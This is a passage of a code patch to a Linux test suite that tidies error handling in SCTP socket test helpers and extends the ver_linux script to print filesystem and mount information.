 static inline int test_accept(int sk, struct sockaddr *addr, socklen_t *addrlen)
 {
 	int error = accept(sk, addr, addrlen);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "accept: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "accept()");
+
 	return error;
 }
 
 static inline int test_send(int sk, const void *msg, size_t len, int flags)
 {
 	int error = send(sk, msg, len, flags);
+
 	if ((long)len != error)
-		tst_brkm(TBROK, tst_exit, "send: error:%d errno:%d", error, errno);
+		tst_brkm(TBROK | TERRNO, tst_exit, "send(): error: %d", error);
+
 	return error;
 }
 
@@ -198,8 +219,10 @@
 			      const struct sockaddr *to, socklen_t tolen)
 {
 	int error = sendto(sk, msg, len, flags, to, tolen);
+
 	if ((long)len != error)
-		tst_brkm(TBROK, tst_exit, "sendto: error:%d errno:%d", error, errno);
+		tst_brkm(TBROK | TERRNO, tst_exit, "sendto(): error: %d", error);
+
 	return error;
 }
 
@@ -207,33 +230,40 @@
 			       int msglen)
 {
 	int error = sendmsg(sk, msg, flags);
-        if (msglen != error)
-                tst_brkm(TBROK, tst_exit, "sendmsg: error:%d errno:%d",
-			 error, errno);
+
+	if (msglen != error)
+		tst_brkm(TBROK | TERRNO, tst_exit, "sendmsg(): error: %d", error);
+
 	return error;
 }
 
 static inline int test_recv(int sk, void *buf, size_t len, int flags)
 {
 	int error = recv(sk, buf, len, flags);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "recv: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "recv()");
+
 	return error;
 }
 
 static inline int test_recvmsg(int sk, struct msghdr *msg, int flags)
 {
 	int error = recvmsg(sk, msg, flags);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "recvmsg: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "recvmsg()");
+
 	return error;
 }
 
 static inline int test_shutdown(int sk, int how)
 {
 	int error = shutdown(sk, how);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "shutdown: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "shutdown()");
+
 	return error;
 }
 
@@ -241,6 +271,7 @@
 				  socklen_t *optlen)
 {
 	int error = getsockopt(sk, SOL_SCTP, optname, optval, optlen);
+
 	if (error)
 		tst_brkm(TBROK, tst_exit, "getsockopt(%d): %s", optname,
 			 strerror(errno));
@@ -251,17 +282,21 @@
 				  socklen_t optlen)
 {
 	int error = setsockopt(sk, SOL_SCTP, optname, optval, optlen);
+
 	if (error)
 		tst_brkm(TBROK, tst_exit, "setsockopt(%d): %s", optname,
 			 strerror(errno));
+
 	return error;
 }
 
 static inline int test_sctp_peeloff(int sk, sctp_assoc_t assoc_id)
 {
 	int error = sctp_peeloff(sk, assoc_id);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "sctp_peeloff: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "sctp_peeloff()");
+
 	return error;
 }
 
@@ -272,10 +307,12 @@
 				    uint32_t context)
 {
 	int error = sctp_sendmsg(s, msg, len, to, tolen, ppid, flags, stream_no,
-	  		         timetolive, context);
-	if ((long)len != error)
+				 timetolive, context);
+
+	if (error != (long)len)
 		tst_brkm(TBROK, tst_exit, "sctp_sendmsg: error:%d errno:%d",
 			 error, errno);
+
 	return error;
 }
 
@@ -284,9 +321,11 @@
 				 int flags)
 {
 	int error = sctp_send(s, msg, len, sinfo, flags);
-	if ((long)len != error)
+
+	if (error != (long)len)
 		tst_brkm(TBROK, tst_exit, "sctp_send: error:%d errno:%d",
 			 error, errno);
+
 	return error;
 }
 
@@ -296,16 +335,20 @@
 				    int *msg_flags)
 {
 	int error = sctp_recvmsg(sk, msg, len, from, fromlen, sinfo, msg_flags);
-	if (-1 == error)
-		tst_brkm(TBROK, tst_exit, "sctp_recvmsg: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "sctp_recvmsg()");
+
 	return error;
 }
 
 static inline void *test_malloc(size_t size)
 {
 	void *buf = malloc(size);
-        if (NULL == buf)
-                tst_brkm(TBROK, tst_exit, "malloc failed");
+
+	if (NULL == buf)
+		tst_brkm(TBROK, tst_exit, "malloc failed");
+
 	return buf;
 }
 
diff --git a/ver_linux b/ver_linux
index 824c395..2df1c7b 100755
--- a/ver_linux
+++ b/ver_linux
@@ -139,6 +139,23 @@
 tst_cmd_run lscpu || cat /proc/cpuinfo
 
 echo
+echo 'available filesystems:'
+echo $(cut -f2 /proc/filesystems | sort -u)
+
+echo
+echo 'mounted filesystems (/proc/mounts):'
+cat /proc/mounts
+
+echo
+echo 'mounted filesystems (df):'
+if `df -hT >/dev/null 2>/dev/null`; then
+	df -hT
+else
+	df
+fi
+
+
+echo
 if is_enabled /sys/module/apparmor/parameters/enabled; then
 	echo 'AppArmor enabled'
 	tst_cmd_run aa-status